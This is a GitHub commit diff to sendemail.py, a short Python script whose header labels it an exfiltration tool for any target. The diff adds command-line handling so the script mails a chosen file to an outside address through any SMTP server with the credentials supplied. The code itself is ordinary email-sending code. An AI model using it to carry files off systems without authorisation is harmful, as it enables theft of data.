Update sendemail.py

pull/16/head
TheDragonkeeper 2017-11-07 22:46:07 +00:00 committed by GitHub
parent e278b53fa1
commit 66bd94489b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 1 deletions

View File

@ -5,7 +5,7 @@
# Version: 1.0 # Version: 1.0
# Category: exfiltration # Category: exfiltration
# Target: Any # Target: Any
import sys
import smtplib, os import smtplib, os
from email.MIMEMultipart import MIMEMultipart from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase from email.MIMEBase import MIMEBase
@ -78,3 +78,15 @@ def send_mail(send_from, send_to, subject, text, files=None,
smtp.login(username, password) smtp.login(username, password)
smtp.sendmail(send_from, send_to, msg.as_string()) smtp.sendmail(send_from, send_to, msg.as_string())
smtp.close() smtp.close()
if len(sys.argv) > 8:
send_mail(sys.argv[1], sys.argv[2],
sys.argv[3],
sys.argv[4],
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7], files=[sys.argv[8]])
else:
send_mail(sys.argv[1], sys.argv[2],
sys.argv[3],
sys.argv[4],
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7])